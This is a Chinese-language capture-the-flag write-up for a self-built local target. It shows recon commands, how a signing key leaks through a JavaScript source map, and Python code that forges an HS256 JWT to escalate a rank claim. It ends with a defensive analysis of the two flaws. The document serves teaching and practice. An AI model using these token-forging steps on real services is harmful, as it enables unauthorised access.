10 min read

駭客盲盒 #001:雲海劍宗 — 我要掌門真傳 (自創靶機)

駭客盲盒 #001:雲海劍宗 — 我要掌門真傳 (自創靶機)
難度:Easy

序:這一盒裝了什麼

這是「駭客盲盒」系列的第一盒,也是我自創的第一個靶機,靶機都有經codex檢查過,歡迎下載遊玩~

這一盒的名字叫雲海劍宗,外門弟子沈小石想讀到掌門真傳!

底下我會分成兩條線走,解題的部分用「我們」,一步一步把路走完;設計的部分切回「我」,聊聊每個機關當初為什麼那樣擺,想自己先玩的人,讀完「環境架設」就可以先關掉這篇。

一、環境架設

unzip hacker-blindbox-003-yunhai-sword-sect.zip
cd yunhai-sword-sect-box-003
docker compose up --build -d

跑起來後開瀏覽器:

http://127.0.0.1:8089/

戒律三條(沿用盒內說明):

  1. 只需對本地山門出手。
  2. 無須窮舉令牌或暴力嘗試。
  3. 線索皆在玩家可取得之處。
第二條不是禮貌提醒,是我主動幫玩家砍掉一整條錯誤路線

HS256 的靶機很容易讓人條件反射去跑 hashcat 爆密鑰,跑三小時無果然後罵街。我不想要那種挫折感——這盒考的是觀察力不是算力,所以我把它寫進戒律。等你讀到第五節就會發現,密鑰一直躺在你拿得到的地方。

二、初次踏訪:領一枚令牌

首頁是「外門試煉・第一關」,中央一顆按鈕:向守山人領取令牌

點下去,網站簽發一枚 JWT,並且很貼心地幫你把 Header 與 Payload 攤開:

// Header
{
  "alg": "HS256",
  "typ": "JWT"
}

// Payload
{
  "exp": 1785745134,
  "iat": 1785737934,
  "name": "沈小石",
  "rank": "outer",
  "sub": "outer-disciple-17"
}

頁面下方特別註明:「此處只將令牌可閱讀的兩段內容攤開,並未驗證簽章,也不會替你改動令牌。」

我們看到什麼

欄位 解讀
alg HS256 對稱式簽章,簽與驗用同一把密鑰。只要密鑰洩漏,令牌就任你捏造
rank outer 這是目標。權限欄位擺在明面上,擺明是給你改的
sub outer-disciple-17 身分識別
exp - iat 7200 兩小時有效,時間充裕,不必急著重領

HS256 加上一個叫 rank 的欄位,路線圖幾乎自己浮出來了:想辦法簽一張 rank 更高的令牌

問題是,密鑰在哪?

那句「並未驗證簽章,也不會替你改動令牌」是我故意寫的。

表面上是免責聲明,實際上在暗示一件事:這個解碼器是純前端的,它只做 base64 decode, 想改令牌?自己來,我把工具給你、把欄位攤開給你看,但那把鎖得你自己去找。

有效期設 7200 秒也是刻意的,太短玩家會一直重領、心浮氣躁;太長又少了「令牌會過期」的臨場感,兩小時剛好夠一輪從容的 recon。

三、真正的線索:守山人隨筆

頁面角落有一段像是氛圍文字的東西:

「江湖有一張被遺忘的地圖,不一定畫山川。」 —— 字跡潦草,墨痕像是從某份舊卷末尾拓下來的。

這種東西很容易被當裝飾跳過,但在自製靶機裡,敘事文字往往就是提示本體,拆開來看,兩句話塞了三個變數:

  • 「地圖」 —— 網站脈絡下,最直覺的聯想是 sitemap.xml
  • 「不一定畫山川」 —— 但它主動否定了地理義,這是關鍵修飾語
  • 「舊卷末尾」 —— 東西藏在某個檔案的最後面

先照最直覺的猜法試一次:

curl -sS http://127.0.0.1:8089/robots.txt
curl -sS http://127.0.0.1:8089/sitemap.xml
{"error":"not_found"}
{"error":"not_found"}

死路。

死路也是情報

換上令牌再試一次,以及換各種帶法(Bearer、raw、Cookie、自訂 header、query string),全部回同一個 404、同樣 21 bytes:

U=http://127.0.0.1:8089/sitemap.xml
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Authorization: Bearer $TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Cookie: token=$TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" "$U?token=$TOKEN"
# 全部 404 21

長度一致代表不是權限攔截,是路由根本沒註冊,這兩個檔案是真的不存在。

但這一輪 recon 撈到兩個有用的東西,先看完整 response header:

HTTP/1.0 404 Not Found
Server: YunhaiGate/1.0
Content-Security-Policy: default-src 'self'; img-src 'self' data:;
  style-src 'self' 'unsafe-inline'; script-src 'self'; object-src 'none';
  base-uri 'none'; frame-ancestors 'none'; form-action 'self'
Content-Type: application/json; charset=utf-8

安全標頭本身就是情報——這點在真實 recon 裡很常被忽略,防禦性配置在保護你的同時,也在描述你的架構長什麼樣。

四、順著 JS 挖下去

curl -sS http://127.0.0.1:8089/ | grep -Eo '(src|href)="[^"]+"'
href="/static/style.css"
src="/static/app.js"

跟 CSP 推論一致。看看這支 JS 的末尾——別忘了「舊卷末尾」:

curl -sS http://127.0.0.1:8089/static/app.js | tail -8
  requestButton.addEventListener("click", requestEntryPass);
  copyButton.addEventListener("click", copyToken);
})();
//# sourceMappingURL=/static/app.js.map

中了。

回頭看那句謎語,現在每個字都對上了:

  • 「地圖」→ map
  • 「不一定畫山川」→ 不是 sitemap,是 source map
  • 「從某份舊卷末尾拓下來」→ sourceMappingURL 註解永遠寫在 JS 檔案的最後一行

順手也確認 API 路徑:

curl -sS http://127.0.0.1:8089/static/app.js | grep -Eo '"/[a-zA-Z0-9_/.:-]+"' | sort -u
# "/"
# "/api/entry-pass"

五、開圖:source map 裡躺著什麼

curl -sS http://127.0.0.1:8089/static/app.js.map -o app.js.map
python3 -m json.tool app.js.map

只有 1219 bytes,但內容非常豐盛:

{
  "version": 3,
  "file": "app.js",
  "sources": ["webpack://yunhai-player/./legacy/deployment-config.ts"],
  "sourcesContent": ["..."],
  "x_legacy_deployment": {
    "SIGNING_KEY": "yunhai-sect-ink-seal-1739",
    "VAULT_ENDPOINT": "/vault/scroll",
    "REQUIRED_RANK": "master",
    "AUTH_HEADER": "Authorization: Bearer <token>",
    "context": "1739 版舊山門部署設定;僅供除錯,不含最終 flag。"
  }
}

sourcesContent 倒出來還原原始碼:

python3 - <<'EOF'
import json, os
m = json.load(open('app.js.map'))
os.makedirs('src', exist_ok=True)
for name, content in zip(m['sources'], m.get('sourcesContent') or []):
    if content is None: continue
    p = 'src/' + os.path.basename(name)
    open(p, 'w').write(content)
    print(f"[+] {p}  ({len(content)} bytes)")
EOF

得到 src/deployment-config.ts

/**
 * 雲海劍宗玩家端・舊版部署設定
 *
 * 這份設定曾供試煉環境的前端診斷工具使用。改版時已不再由主程式匯入,
 * 但 1739 版的建置流程仍將原始碼收進除錯地圖,留待舊山門追查部署問題。
 * 注意:這不是最終劍譜內容,也不含任何旗標。
 */

export const SIGNING_KEY = 'yunhai-sect-ink-seal-1739';
export const VAULT_ENDPOINT = '/vault/scroll';
export const REQUIRED_RANK = 'master';
export const AUTH_HEADER = 'Authorization: Bearer <token>';

// 舊版驗收筆記:內院端點會依簽章與 rank 判定是否交付掌門卷軸。
// 呼叫格式:GET VAULT_ENDPOINT,並以 AUTH_HEADER 樣式夾帶江湖令牌。

四塊拼圖一次到齊:

拿到的東西
簽章密鑰 yunhai-sect-ink-seal-1739
目標端點 /vault/scroll
所需身分 rank: master
帶法 Authorization: Bearer <token>

回頭看戒律第二條「無須窮舉令牌或暴力嘗試」,現在完全說得通。

六、自簽掌門令牌

密鑰在手,直接簽一張 rank: master

import jwt, time

now = int(time.time())
payload = {
    "exp": now + 7200,
    "iat": now,
    "name": "沈小石",
    "rank": "master",
    "sub": "outer-disciple-17",
}
print(jwt.encode(payload, "yunhai-sect-ink-seal-1739", algorithm="HS256"))

不想裝 pyjwt 的話,純標準庫版本也就十行:

import base64, hmac, hashlib, json, time

b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',', ':'), ensure_ascii=False).encode())

now = int(time.time())
h = {"alg": "HS256", "typ": "JWT"}
p = {"exp": now + 7200, "iat": now, "name": "沈小石",
     "rank": "master", "sub": "outer-disciple-17"}

msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(b"yunhai-sect-ink-seal-1739", msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")

叩門:

MASTER='<剛才印出來的令牌>'
curl -sSi -H "Authorization: Bearer $MASTER" http://127.0.0.1:8089/vault/scroll
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8

石門開了。

八、完整攻擊鏈

首頁領取 JWT(HS256, rank=outer)
   │
   │  「地圖不畫山川,墨痕從舊卷末尾拓下」
   ▼
/static/app.js 最後一行 → //# sourceMappingURL
   │
   ▼
/static/app.js.map ← 部署時誤打包的 legacy config
   │
   │  洩漏 SIGNING_KEY / VAULT_ENDPOINT / REQUIRED_RANK
   ▼
自簽 rank=master 的 JWT
   │
   ▼
GET /vault/scroll  →  🚩 flag

十、漏洞剖析:兩個問題疊起來才致命

這一盒我真正想講的,不是「source map 會洩漏東西」這麼單薄的一句話,它是兩層缺陷相乘的結果,任何一層補起來,攻擊鏈都會斷。

第一層:建置產物洩漏憑證

.map 檔跟著 production 一起上線,而且裡面躺著 hardcode 的簽章密鑰。

這不是虛構,是真實世界的漏洞,前端 build pipeline 預設就會生 source map,團隊忘記在 production 關掉,或是關掉了但 CDN 上還留著舊版,裡面通常有:

  • 未混淆的原始碼與完整目錄結構
  • 內部 API 路徑、尚未公開的 feature flag
  • 註解、TODO、開發者的內部討論
  • 有時候,就是憑證本身

.js.map 應該進你的固定 recon checklist,抓到 JS 就 tail 一下最後一行,成本兩秒鐘。

第二層:完全信任 client-side claim

這一層其實更嚴重。

後端只看 JWT 裡的 rank 欄位就決定要不要交付卷軸,沒有回頭確認 sub=outer-disciple-17 這個身分實際上該有什麼權限。

意思是:就算密鑰沒洩漏,只要哪天它因為別的原因外流——Git commit、環境變數 dump、log 洩漏、離職員工——整個授權模型就直接歸零,權限判定完全建立在「令牌沒被偽造」這個單一假設上,沒有第二道防線。

JWT 是身分證明,不是權限證明。 這兩件事在很多實作裡被混為一談。

我把兩層缺陷疊在一起,是因為只講第一層會誤導人

如果這盒只考 source map 洩漏,玩家的結論會是「關掉 source map 就沒事了」——那是錯的,那只是把密鑰藏得深一點而已,真正的架構問題是後端無條件相信 token 裡的 rank,而這個問題在密鑰洩漏之前就已經存在了,只是沒被觸發。

這也是我設計盲盒時的一個原則:flag 要能拿,但拿到之後得有東西可以想,單一漏洞的靶機解完就沒了,兩層疊加的才會逼你去問「所以到底哪裡錯了」。

結語

這一盒我想考的其實是閱讀

robots.txtsitemap.xml 的死路是刻意鋪的,測的是你會不會被字面意思綁住;CSP 標頭是免費送的架構情報,測的是你會不會讀 response header;那句「不一定畫山川」是整關的樞紐,測的是你會不會把敘事文字當提示看。

工具能幫你跑完所有路徑,但跑完不等於讀完

山門已開,下一盒再見。

本文為自製靶機 writeup,靶機僅供本地學習使用,請勿將文中技巧用於未經授權的目標。